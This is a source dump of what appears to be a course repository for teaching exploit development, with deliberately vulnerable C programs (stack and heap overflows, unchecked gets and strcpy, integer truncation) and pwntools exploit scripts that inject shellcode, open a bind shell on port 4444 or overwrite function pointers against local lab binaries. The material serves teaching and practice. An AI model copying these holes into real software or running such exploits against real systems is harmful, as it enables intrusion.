malloc(4); //create some_number "object" in Heap 8 | 9 | *some_number = 1234; //assign some_number a static value 10 | gets(some_string); //ask user for input for some_string 11 | 12 | if(*some_number == 1234) //check if static value (of some_number) is in tact 13 | { 14 | puts("Memory valid"); 15 | } 16 | else //proceed here in case the static some_number gets corrupted 17 | { 18 | puts("Memory corrupted"); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /challenge52/challenge52.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | // Set memory[loc] = a 6 | void bof(long a, long loc) { 7 | long *ptr = (void*) (long) loc; 8 | *ptr = a; 9 | } 10 | 11 | int main(int argc, char **argv) { 12 | system(""); // load system system-call 13 | if (argc != 3) { 14 | printf("Usage: %s \n", argv[0]); 15 | printf(" %s 0x1337 0x08080808\n", argv[0]); 16 | exit(1); 17 | } 18 | 19 | printf("Start\n"); // load puts system call 20 | bof( (long)strtol(argv[1], NULL, 16), (long)strtol(argv[2], NULL, 16)); 21 | 22 | // System call we overwrite with system() 23 | printf("id \n"); 24 | } -------------------------------------------------------------------------------- /challenge51/string2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define SIZE 8 6 | 7 | // strncpy() 8 | void main(int argc, char **argv) { 9 | char buffer[128]; 10 | 11 | char str[SIZE]; 12 | strncpy(str, "1234567", SIZE); // str[7] = ‘\0’ 13 | printf("A: %i %s\n", strlen(str), str); 14 | 15 | strncpy(str, "12345678", SIZE); // str[7] = ‘8’ 16 | // str[8] = ‘\0’ 17 | printf("B: %i %s\n", strlen(str), str); 18 | 19 | strncpy(str, "123456789", SIZE); // str[7] = ‘8’ 20 | // str[8] = ‘9’ 21 | // str[9] = ‘\0’ 22 | printf("C: %i %s\n", strlen(str), str); 23 | } -------------------------------------------------------------------------------- /challenge51/example1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | // signed int 6 | void example(int inputLen, char *input) { 7 | char arr[1024]; 8 | printf("Input len : %i / 0x%x\n", inputLen, inputLen); 9 | 10 | if (inputLen > 1024) { 11 | printf("Not enough space (%i is bigger than 1024)\n", inputLen); 12 | return; 13 | } 14 | printf("Ok, copying %u bytes\n", inputLen); 15 | memcpy(arr, input, inputLen); 16 | 17 | 18 | } 19 | 20 | void main(int argc, char **argv) { 21 | if (argc != 3) { 22 | printf("%s <0xinputLen> \n", argv[0]); 23 | exit(1); 24 | } 25 | 26 | int inputLen = strtoll(argv[1], NULL, 0); 27 | char *input = argv[2]; 28 | 29 | example(inputLen, input); 30 | } -------------------------------------------------------------------------------- /challenge31/noteheap-cmdparser.h: -------------------------------------------------------------------------------- 1 | #ifndef _NOTEHEAP_CMDPARSER 2 | #define _NOTEHEAP_CMDPARSER 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | /* Public */ 9 | void cmdParser(char *input); 10 | 11 | /* Private */ 12 | void cmdTodoAddParser(char *input); 13 | void cmdTodoEditParser(char *input); 14 | void cmdListDelParser(char *input); 15 | 16 | void cmdTodoParser(char *input); 17 | void cmdListViewParser(char *input); 18 | void cmdListAddParser(char *input); 19 | void cmdListParser(char *input); 20 | void cmdAlarmAddParser(char *input); 21 | void cmdAlarmListParser(char *input); 22 | void cmdAlarmParser(char *input); 23 | 24 | void cmdHelpTodo(); 25 | void cmdHelpList(); 26 | void cmdHelpAlarm(); 27 | void cmdHelp(); 28 | 29 | static char *delim = " "; 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /challenge47/Makefile: -------------------------------------------------------------------------------- 1 | all: write execve1 execve3 syscall shellcodetest 2 | 3 | write: write.s 4 | as write.s -o write.o 5 | ld write.o -o write 6 | 7 | 8 | execve1: execve1.s 9 | as execve1.s -o execve1.o 10 | ld execve1.o -o execve1 11 | 12 | execve3: execve3.s 13 | as execve3.s -o execve3.o 14 | ld execve3.o -o execve3 15 | 16 | syscall: syscall.c 17 | gcc syscall.c -o syscall 18 | 19 | shellcodetest: shellcodetest.c 20 | gcc shellcodetest.c -o shellcodetest 21 | 22 | clean: 23 | rm execve1.o execve1 24 | rm execve3.o execve3 25 | rm syscall 26 | rm shellcodetest 27 | 28 | 29 | clean: 30 | rm write write.o 31 | rm execve1.o execve1 32 | rm execve3.o execve3 33 | rm syscall 34 | rm shellcodetest 35 | 36 | -------------------------------------------------------------------------------- /challenge51/example4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | // integer truncation 6 | int* example(int *array, int len){ 7 | int *myarray, i; 8 | 9 | myarray = malloc(len * sizeof(int)); // len < 0? len = 0? 10 | if(myarray == NULL){ 11 | printf("Error: Could not allocate array\n"); 12 | return NULL; 13 | } 14 | 15 | printf("Could allocate array with size: %lu (%i)\n", (len * sizeof(int)), len); 16 | 17 | for(i = 0; i < len; i++){ 18 | myarray[i] = array[i]; 19 | } 20 | 21 | return myarray; 22 | } 23 | 24 | void main(int argc, char **argv) { 25 | if (argc != 2) { 26 | printf("%s \n", argv[0]); 27 | exit(1); 28 | } 29 | 30 | int arr[] = { 42, 42 }; 31 | int inputLen = strtoll(argv[1], NULL, 0); 32 | 33 | example(arr, inputLen); 34 | } -------------------------------------------------------------------------------- /challenge44/intra_chunk.c: -------------------------------------------------------------------------------- 1 | #include "stdlib.h" 2 | #include "stdio.h" 3 | 4 | struct u_data //object model: 8 bytes for name, 4 bytes for number 5 | { 6 | char name[8]; 7 | int number; 8 | }; 9 | 10 | int main ( int argc, char* argv[] ) 11 | { 12 | struct u_data* objA = malloc(sizeof(struct u_data)); //create object in Heap 13 | 14 | objA->number = 1234; //set the number of our object to a static value 15 | gets(objA->name); //set name of our object according to user's input 16 | 17 | if(objA->number == 1234) //check if static value is intact 18 | { 19 | puts("Memory valid"); 20 | } 21 | else //proceed here in case the static value gets corrupted 22 | { 23 | puts("Memory corrupted"); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /challenge12/challenge12-solution.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context.arch='amd64' 3 | 4 | def makeExploit(offset, ret_addr, buf_size=128): 5 | shellcode = asm(shellcraft.amd64.sh()) 6 | exploit = b"\x90" * (buf_size - len(shellcode)) 7 | exploit += shellcode 8 | exploit += b"A" * (offset - len(exploit)) 9 | exploit += ret_addr 10 | return exploit 11 | 12 | def makeProcess(): 13 | io = process("./challenge12") 14 | try: 15 | gdb.attach(io, '''c''') 16 | except: 17 | print("Start tmux first!") 18 | exit(1) 19 | return io 20 | 21 | 22 | io = makeProcess() 23 | exploit = makeExploit(152, b"\xf0\xe7\xff\xff\xff\x7f") 24 | 25 | print("Sending exploit:") 26 | print(hexdump(exploit, skip=False)) 27 | 28 | io.sendafter(b"Username: ", exploit) 29 | io.sendafter(b"Password: ", b'password') 30 | 31 | # if there is a shell spawned, interact with it 32 | # if not, wait for the process/GDB to exit 33 | io.interactive() 34 | -------------------------------------------------------------------------------- /challenge51/example2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define BUF_SIZE 256 6 | 7 | // unsigned int 8 | void example(char *buf1, char *buf2, unsigned int len1, unsigned int len2) 9 | { 10 | char mybuf[BUF_SIZE]; 11 | 12 | if((len1 + len2) > BUF_SIZE){ // Truncate if (len1 + len2) > 2^32 13 | printf("Not enough space: %i + %i > %i\n", len1, len2, BUF_SIZE); 14 | return -1; 15 | } 16 | 17 | printf("Ok, copying %u and then %u bytes\n", len1, len2); 18 | memcpy(mybuf, buf1, len1); 19 | memcpy(mybuf + len1, buf2, len2); // buffer overflow 20 | } 21 | 22 | void main(int argc, char **argv) { 23 | char buf1[BUF_SIZE]; 24 | char buf2[BUF_SIZE]; 25 | 26 | 27 | if (argc != 3) { 28 | printf("%s <0xlen1> <0xlen2>\n", argv[0]); 29 | exit(1); 30 | } 31 | 32 | int len1 = strtoll(argv[1], NULL, 0); 33 | int len2 = strtoll(argv[2], NULL, 0); 34 | 35 | example(buf1, buf2, len1, len2); 36 | } -------------------------------------------------------------------------------- /challenge32/source/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "list.h" 7 | #include "logic.h" 8 | #include "movie.h" 9 | #include "utility.h" 10 | 11 | int main() 12 | { 13 | setvbuf(stdin, NULL, _IONBF, 0); 14 | setvbuf(stdout, NULL, _IONBF, 0); 15 | 16 | print_welcome_message("welcome-message.txt"); 17 | 18 | while ( 1 ) 19 | { 20 | puts("1) Add Movie"); 21 | puts("2) Remove Movie"); 22 | puts("3) Edit Movie"); 23 | puts("4) Print Movies"); 24 | puts("5) Exit"); 25 | printf("> "); 26 | 27 | int option = read_int_line(); 28 | switch ( option ) 29 | { 30 | case 1: 31 | add_movie(); 32 | break; 33 | case 2: 34 | remove_movie(); 35 | break; 36 | case 3: 37 | edit_movie(); 38 | break; 39 | case 4: 40 | print_movies(); 41 | break; 42 | case 5: 43 | puts("Bye Bye"); 44 | exit(1); 45 | default: 46 | printf("Invalid option!\n\n"); 47 | break; 48 | } 49 | } 50 | } 51 | 52 | 53 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Yookiterm Challenge Files 2 | 3 | The source code of vulnerable programs and their corresponding exploit for Yookiterm. 4 | 5 | The corresponding challenges / writeups are available at: https://github.com/dobin/yookiterm-challenges 6 | 7 | It is served at: https://exploit.courses 8 | 9 | The content consists of challenges and homework, in the areas of debugging, 10 | vulnerable programs (Stack- and Heap overflows), corresponding Exploits and 11 | vulnerable ARM programs. 12 | 13 | It is intended to run in Ubuntu 16.04, and depending on the challenge, on the correct architecture 14 | (32 or 64 bit). Some care has been taken so that the examples can adequately compile on 15 | 64 Ubuntu 18.04 (adding `-m32` to compile as 32 bit where appropriate, and added `-no-pie`). 16 | 17 | 18 | ## What is yookiterm 19 | 20 | Yookiterm provides per-user Linux root containers via JavasScript 21 | terminal, and accompagning tutorials and writeups of 22 | certain topics. It is currently used as a plattform 23 | teaching exploit development at an university. 24 | -------------------------------------------------------------------------------- /challenge09/challenge09.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int checkPassword(char *password) { 7 | char *adminHash = "$6$saaaaalty$cjw9qyAKmchl7kQMJxE5c1mHN0cXxfQNjs4EhcyULLndQR1wXslGCaZrJj5xRRBeflfvmpoIVv6Vs7ZOQwhcx."; 8 | char *hash = crypt(password, "$6$saaaaalty"); 9 | if (strcmp(hash, adminHash) == 0) { 10 | return 1; 11 | } else { 12 | return 0; 13 | } 14 | } 15 | 16 | void secret() { 17 | printf("Secret functionality\n"); 18 | } 19 | 20 | void handleData(char *username, char *password) { 21 | int isAdmin = 0; 22 | char name[128]; 23 | 24 | isAdmin = checkPassword(password); 25 | strcpy(name, username); 26 | 27 | printf("isAdmin: 0x%x\n", isAdmin); 28 | if(isAdmin > 0) { 29 | printf("You are admin!\n"); 30 | } else { 31 | printf("Not admin.\n"); 32 | } 33 | } 34 | 35 | int main(int argc, char **argv) { 36 | if (argc != 3) { 37 | printf("Usage: %s \n", argv[0]); 38 | exit(0); 39 | } 40 | handleData(argv[1], argv[2]); 41 | } 42 | -------------------------------------------------------------------------------- /challenge10/challenge10.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int checkPassword(char *password) { 7 | char *adminHash = "$6$saaaaalty$cjw9qyAKmchl7kQMJxE5c1mHN0cXxfQNjs4EhcyULLndQR1wXslGCaZrJj5xRRBeflfvmpoIVv6Vs7ZOQwhcx."; 8 | char *hash = crypt(password, "$6$saaaaalty"); 9 | if (strcmp(hash, adminHash) == 0) { 10 | return 1; 11 | } else { 12 | return 0; 13 | } 14 | } 15 | 16 | void secret() { 17 | printf("Secret functionality\n"); 18 | } 19 | 20 | void handleData(char *username, char *password) { 21 | int isAdmin = 0; 22 | char name[128]; 23 | 24 | isAdmin = checkPassword(password); 25 | strcpy(name, username); 26 | 27 | printf("isAdmin: 0x%x\n", isAdmin); 28 | if(isAdmin > 0) { 29 | printf("You are admin!\n"); 30 | } else { 31 | printf("Not admin.\n"); 32 | } 33 | } 34 | 35 | int main(int argc, char **argv) { 36 | if (argc != 3) { 37 | printf("Usage: %s \n", argv[0]); 38 | exit(0); 39 | } 40 | handleData(argv[1], argv[2]); 41 | } 42 | -------------------------------------------------------------------------------- /challenge11/challenge11.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int checkPassword(char *password) { 7 | char *adminHash = "$6$saaaaalty$cjw9qyAKmchl7kQMJxE5c1mHN0cXxfQNjs4EhcyULLndQR1wXslGCaZrJj5xRRBeflfvmpoIVv6Vs7ZOQwhcx."; 8 | char *hash = crypt(password, "$6$saaaaalty"); 9 | if (strcmp(hash, adminHash) == 0) { 10 | return 1; 11 | } else { 12 | return 0; 13 | } 14 | } 15 | 16 | void secret() { 17 | printf("Secret functionality\n"); 18 | } 19 | 20 | void handleData(char *username, char *password) { 21 | int isAdmin = 0; 22 | char name[128]; 23 | 24 | isAdmin = checkPassword(password); 25 | strcpy(name, username); 26 | 27 | printf("isAdmin: 0x%x\n", isAdmin); 28 | if(isAdmin > 0) { 29 | printf("You are admin!\n"); 30 | } else { 31 | printf("Not admin.\n"); 32 | } 33 | } 34 | 35 | int main(int argc, char **argv) { 36 | if (argc != 3) { 37 | printf("Usage: %s \n", argv[0]); 38 | exit(0); 39 | } 40 | handleData(argv[1], argv[2]); 41 | } 42 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Dobin Rutishauser 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /challenge32/source/movie.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "movie.h" 6 | 7 | static void print_movie(struct Movie *); 8 | static void print_movie_special_offser(struct Movie *); 9 | 10 | struct Movie *create_movie(char *name, char *description, int duration, int year) 11 | { 12 | struct Movie *m = malloc(sizeof(struct Movie)); 13 | init_movie(m, name, description, duration, year); 14 | return m; 15 | } 16 | 17 | void init_movie(struct Movie *m, char *name, char *description, int duration, int year) 18 | { 19 | strncpy(m->name, name, MAX_MOVIE_NAME_LEN); 20 | strncpy(m->description, description, MAX_MOVIE_DESCRIPTION_LEN); 21 | m->duration = duration; 22 | m->year = year; 23 | m->print = print_movie; 24 | } 25 | 26 | static void print_movie(struct Movie *m) 27 | { 28 | printf("Name: %s\n", m->name); 29 | printf("Description: %s\n", m->description); 30 | printf("Publishing year: %d\n", m->year); 31 | printf("Duration: %d minutes\n", m->duration); 32 | } 33 | 34 | static void print_movie_special_offser(struct Movie *m) 35 | { 36 | puts("This operation is not yet supported... exiting now"); 37 | exit(1); 38 | } 39 | 40 | -------------------------------------------------------------------------------- /challenge31/noteheap-model.h: -------------------------------------------------------------------------------- 1 | #ifndef _NOTEHEAP_MODEL 2 | #define _NOTEHEAP_MODEL 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #define LIST_SIZE 128 9 | 10 | typedef struct { 11 | char *body; 12 | int priority; 13 | int id; 14 | } Todo; 15 | 16 | typedef struct { 17 | char *name; 18 | void (*cleanupFunction)(); 19 | int id; 20 | } Alarm; 21 | 22 | 23 | struct Global { 24 | int id; 25 | int alarmId; 26 | 27 | Todo *todos[2][LIST_SIZE]; 28 | Alarm *alarms[LIST_SIZE]; 29 | }; 30 | 31 | 32 | /* Functions */ 33 | void modelInit(); 34 | 35 | void alarmAdd(char *alarmName); 36 | void alarmList(); 37 | void alarmDel(int alarmIndex); 38 | int alarmGetFreeEntryIndex(); 39 | 40 | void todoAdd(char *listName, char *todoPrio, char *todoBody); 41 | void todoEdit(char *listName, char *listEntryIndex, char *todoPrio, char *todoBody); 42 | void todoPrint(Todo *todo); 43 | 44 | void listView(char *listName); 45 | void listDel(char *listName, char *listEntry); 46 | void listAdd(char *dstListName, char *srcListName, char *srcListEntryIndex); 47 | 48 | int listNameToIndex(char *listName); 49 | int listGetFreeEntryIndex(int listIndex); 50 | 51 | #endif 52 | -------------------------------------------------------------------------------- /challenge33/Makefile: -------------------------------------------------------------------------------- 1 | files_all = webserver.c http.c mongoose.c 2 | files_short = http.c mongoose.c 3 | outfile = webserver 4 | 5 | 6 | webserver: $(files_all) 7 | gcc -g -fno-pie webserver.c mongoose.c http.c -o $(outfile) 8 | 9 | 10 | webserver-pie: $(files_all) 11 | gcc -g -fpie webserver.c mongoose.c http.c -o $(outfile).pie 12 | 13 | 14 | webserver-sanitizer: $(files_all) 15 | clang -g -fsanitize=address mongoose.c http.c webserver.c -o $(outfile).sanitizer 16 | 17 | 18 | fuzzer: $(files_short) 19 | clang -g -fsanitize=address,fuzzer mongoose.c http.c -o $(outfile).libfuzzer 20 | 21 | 22 | exploit: 23 | curl localhost:8000/login --output - 24 | curl localhost:8000/logout 25 | curl localhost:8000/ping?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbcccccccc 26 | #curl localhost:8000/ping?Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7 27 | curl localhost:8000/logout 28 | 29 | 30 | clean: 31 | rm webserver 32 | rm webserver.pie 33 | rm webserver.sanitizer 34 | rm webserver.libfuzzer 35 | -------------------------------------------------------------------------------- /challenge33/webserver.c: -------------------------------------------------------------------------------- 1 | #include "mongoose.h" 2 | #include "http.h" 3 | 4 | static const char *s_http_port = "8000"; 5 | 6 | 7 | static void ev_handler(struct mg_connection *c, int ev, void *p) { 8 | if (ev == MG_EV_HTTP_REQUEST) { 9 | struct http_message *hm = (struct http_message *) p; 10 | 11 | if (mg_vcmp(&hm->uri, "/auth") == 0) { 12 | printf("Auth\n"); 13 | rest_auth(c, hm); 14 | } else if (mg_vcmp(&hm->uri, "/ping") == 0) { 15 | rest_ping(c, hm); 16 | } else if (mg_vcmp(&hm->uri, "/login") == 0) { 17 | rest_login(c, hm); 18 | } else if (mg_vcmp(&hm->uri, "/logout") == 0) { 19 | rest_logout(c, hm); 20 | } else { 21 | printf("No handler found for URL: %.*s\n", (int)hm->uri.len, hm->uri.p); 22 | } 23 | } 24 | } 25 | 26 | 27 | int main(void) { 28 | struct mg_mgr mgr; 29 | struct mg_connection *c; 30 | printf("Start Webserver on port: %s\n", s_http_port); 31 | 32 | mg_mgr_init(&mgr, NULL); 33 | c = mg_bind(&mgr, s_http_port, ev_handler); 34 | mg_set_protocol_http_websocket(c); 35 | 36 | for (;;) { 37 | mg_mgr_poll(&mgr, 1000); 38 | } 39 | mg_mgr_free(&mgr); 40 | 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /challenge32/source/utility.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "utility.h" 9 | 10 | size_t read_n_until(char *dst, size_t nbytes, char c) 11 | { 12 | char in; 13 | size_t n; 14 | for ( n = 0; n < nbytes; ++n ) 15 | { 16 | if ( read(0, &in, 1) != 1 ) 17 | { 18 | puts("Error while reading... exiting now."); 19 | exit(1); 20 | } 21 | 22 | if ( in == c ) 23 | { 24 | dst[n] = 0; 25 | break; 26 | } 27 | 28 | dst[n] = in; 29 | } 30 | 31 | return n; 32 | } 33 | 34 | size_t read_n_line(char *dst, size_t nbytes) 35 | { 36 | return read_n_until(dst, nbytes, '\n'); 37 | } 38 | 39 | int read_int_line() 40 | { 41 | char line[32]; 42 | read_n_line(line, 32); 43 | 44 | char *endptr; 45 | int val = strtol(line, &endptr, 10); 46 | 47 | errno = 0; 48 | if ( (errno == ERANGE && (val == LONG_MAX || val == LONG_MIN)) || (errno != 0 && val == 0) || endptr == line ) 49 | { 50 | puts("Error while reading number... exiting now."); 51 | exit(1); 52 | } 53 | 54 | return val; 55 | } 56 | 57 | void safe_print(char *s) 58 | { 59 | while ( *s ) 60 | { 61 | if ( !isprint(*s) ) 62 | { 63 | puts("[!] Cannot print unsafe character... exiting now."); 64 | exit(1); 65 | } 66 | 67 | putchar(*s); 68 | ++s; 69 | } 70 | } 71 | 72 | -------------------------------------------------------------------------------- /challenge12/challenge12.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int checkPassword(char *password) { 8 | char *adminHash = "$6$saaaaalty$cjw9qyAKmchl7kQMJxE5c1mHN0cXxfQNjs4EhcyULLndQR1wXslGCaZrJj5xRRBeflfvmpoIVv6Vs7ZOQwhcx."; 9 | char *hash = crypt(password, "$6$saaaaalty"); 10 | if (strcmp(hash, adminHash) == 0) { 11 | return 1; 12 | } else { 13 | return 0; 14 | } 15 | } 16 | 17 | void secret() { 18 | printf("Secret functionality\n"); 19 | } 20 | 21 | void handleData(char *username, char *password) { 22 | int isAdmin = 0; 23 | char name[128]; 24 | 25 | isAdmin = checkPassword(password); 26 | strcpy(name, username); 27 | 28 | if(isAdmin > 0) { 29 | printf("You are admin!\n"); 30 | } else { 31 | printf("Not admin.\n"); 32 | } 33 | } 34 | 35 | int main(int argc, char **argv) { 36 | char username[1024]; 37 | char password[32]; 38 | bzero(username, sizeof(username)); 39 | bzero(password, sizeof(password)); 40 | 41 | if (argc != 1) { 42 | printf("Usage: %s\n", argv[0]); 43 | exit(0); 44 | } 45 | 46 | printf("Username: "); fflush(stdout); 47 | read(0, username, sizeof(username)); 48 | 49 | printf("Password: "); fflush(stdout); 50 | read(0, password, sizeof(password)); 51 | 52 | handleData(username, password); 53 | } 54 | -------------------------------------------------------------------------------- /challenge31/noteheap.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "noteheap-cmdparser.h" 6 | #include "noteheap-model.h" 7 | 8 | #define INPUT_SIZE 128 9 | 10 | 11 | void cmdReceiver() { 12 | char input[INPUT_SIZE]; 13 | 14 | while(1) { 15 | printf("> "); 16 | gets(input); 17 | cmdParser(input); 18 | } 19 | } 20 | 21 | 22 | void fileReceiver(char *filename) { 23 | FILE *fp; 24 | char *line = NULL; 25 | size_t len = 0; 26 | ssize_t read; 27 | 28 | printf("Reading from file: %s\n", filename); 29 | 30 | fp = fopen(filename, "r"); 31 | if (fp == NULL) { 32 | printf("Could not open file\n"); 33 | exit(2); 34 | } 35 | 36 | while (( read = getline(&line, &len, fp)) != -1) { 37 | if (line[read-1] == '\n') { 38 | line[read-1] = '\0'; 39 | read--; 40 | } 41 | if (read > 0) { 42 | printf("read line: %s\n", line); 43 | cmdParser(line); 44 | } 45 | 46 | } 47 | 48 | fclose(fp); 49 | } 50 | 51 | 52 | void printHelp(char **argv) { 53 | printf("Usage: %s [OPTION]\n", argv[0]); 54 | printf(" --cmd Interactive command interface\n"); 55 | printf(" --file Read commands from file\n"); 56 | } 57 | 58 | 59 | void main(int argc, char **argv) { 60 | if (argc != 2 && argc != 3) { 61 | printHelp(argv); 62 | exit(0); 63 | } 64 | 65 | modelInit(); 66 | 67 | if (strcmp(argv[1], "--cmd") == 0) { 68 | printf("Welcome to noteheap v1.0\n"); 69 | cmdReceiver(); 70 | } else if (argc == 3 && (strcmp(argv[1], "--file") == 0)) { 71 | fileReceiver(argv[2]); 72 | } else { 73 | printHelp(argv); 74 | exit(0); 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /challenge32/exploit/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | MAX_MOVIE_NAME_LEN = 40 4 | MAX_MOVIE_DESCRIPTION_LEN = 512 5 | 6 | s = process('./moviedb') 7 | s.readuntil('>') 8 | 9 | ### STEP 1 ### 10 | 11 | s.sendline('1') 12 | s.sendafter('Name: ', 'A' * MAX_MOVIE_NAME_LEN) 13 | s.sendafter('Description: ', 'A' * MAX_MOVIE_DESCRIPTION_LEN) 14 | s.sendlineafter('Year: ', str(0xffffffff)) 15 | s.sendlineafter('Duration: ', str(0xffffffff)) 16 | s.sendlineafter('> ', '4') 17 | 18 | data = s.readuntil(p64(0xffffffffffffffff)) 19 | bin_base = u64(s.read(6).ljust(8, '\x00')) - 0x12b0 20 | print '[*] Binary base address: 0x%016x' % bin_base 21 | s.readuntil('>') 22 | 23 | 24 | ### STEP 2 #### 25 | 26 | # Add a new movie (note that we cannot edit the old movie since the program does not find it due to the invalid name) 27 | s.sendline('1') 28 | s.sendlineafter('Name: ', 'Title') 29 | s.sendlineafter('Description: ', 'XXXX') 30 | s.sendlineafter('Year: ', '42') 31 | s.sendlineafter('Duration: ', '42') 32 | s.sendlineafter('> ', '4') 33 | 34 | # Overflow function pointer 35 | s.sendline('3') 36 | s.sendlineafter('Name: ', 'Title') 37 | s.sendlineafter('New name: ', p64(bin_base + 0xee0) * 8) 38 | s.sendlineafter('New description: ', 'flag.txt') 39 | s.sendlineafter('New duration: ', '42') 40 | s.sendlineafter('New year: ', '42') 41 | 42 | # Print movie and read the flag. Note that we use s.interactive() here because the program crashes afterwards and this 43 | # is a simple way to retrieve all program output (normally s.interactive() is used to get an interactive shell). 44 | s.sendlineafter('> ', '4') 45 | s.interactive() 46 | 47 | -------------------------------------------------------------------------------- /challenge13/challenge13-exploit.py: -------------------------------------------------------------------------------- 1 | import time 2 | import struct 3 | import sys 4 | import argparse 5 | from pwn import * 6 | 7 | context.update(arch='amd64', os='linux') 8 | 9 | parser = argparse.ArgumentParser() 10 | parser.add_argument("--offset", type=int, required=True) 11 | parser.add_argument("--address", type=str) 12 | args = parser.parse_args() 13 | 14 | 15 | def main(): 16 | print("Dont forget to start the server in the background") 17 | 18 | io = remote("localhost", 5001) 19 | gdb.attach(io, ''' 20 | set follow-fork-mode child 21 | continue 22 | ''') 23 | 24 | if args.address is None: 25 | print("--[ Send pattern") 26 | pattern = makePattern(args.offset) 27 | print(hexdump(pattern, skip=False)) 28 | 29 | io.sendafter(b"Username: ", pattern) 30 | io.sendafter(b"Password: ", b"password") 31 | io.recvall() 32 | return 33 | 34 | else: 35 | print("--[ Send exploit") 36 | exploit = makeExploit(args.offset, int(args.address, 16), buf_size=256) 37 | print(hexdump(exploit, skip=False)) 38 | 39 | io.sendafter(b"Username: ", exploit) 40 | io.sendafter(b"Password: ", b"password") 41 | checkShell() 42 | return 43 | 44 | def makePattern(offset): 45 | ### ? 46 | return pattern 47 | 48 | def makeExploit(offset, address, buf_size=128): 49 | s = shellcraft.amd64.linux.bindsh(4444, "ipv4") 50 | shellcode = asm(s) 51 | ### ? 52 | return exploit 53 | 54 | def checkShell(): 55 | time.sleep(0.1) 56 | try: 57 | ioShell = remote("localhost", 4444) 58 | ioShell.interactive() 59 | except Exception as e: 60 | print("Error: Remote shell not started.") 61 | pass 62 | 63 | if __name__ == '__main__': 64 | main() 65 | -------------------------------------------------------------------------------- /challenge31/noteheap-exp-skel.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | import subprocess 5 | import sys 6 | import time 7 | 8 | ELF_PATH = "./noteheap" 9 | 10 | context.arch = 'i386' 11 | context.os = 'linux' 12 | context.endian = 'little' 13 | context.word_size = 64 14 | context.log_level = 'INFO' 15 | 16 | elf = ELF(ELF_PATH) 17 | 18 | 19 | def alarm_add(alarmName): 20 | r.sendline("alarm add " + alarmName) 21 | 22 | def alarm_list(): 23 | r.sendline("alarm list") 24 | 25 | def alarm_del(alarmIndex): 26 | r.sendline("alarm del " + str(alarmIndex)) 27 | 28 | 29 | def todo_add(listName, todoPrio, todoBody): 30 | r.sendline("todo add " + listName + " " + str(todoPrio) + " " + todoBody) 31 | 32 | def todo_edit(listName, listEntryIndex, todoPrio, todoBody): 33 | r.sendline("todo edit " + listName + ":" + str(listEntryIndex) + " " + str(todoPrio) + " " + todoBody) 34 | 35 | 36 | def list_add(dstListName, srcListName, srcListIndex): 37 | r.sendline("list add " + dstListName + " " + srcListName + ":" + str(srcListIndex)) 38 | 39 | def list_view(listName): 40 | r.sendline("list view " + listName) 41 | 42 | def list_del(listName, listIndex): 43 | r.sendline("list del " + listName + ":" + str(listIndex)) 44 | 45 | 46 | if __name__ == "__main__": 47 | r = process(ELF_PATH) 48 | 49 | todo_add('work', 123, "this is the INITIAL todo entry") # will be work:0 50 | list_view('work') 51 | 52 | list_add('private', 'work', 0) 53 | 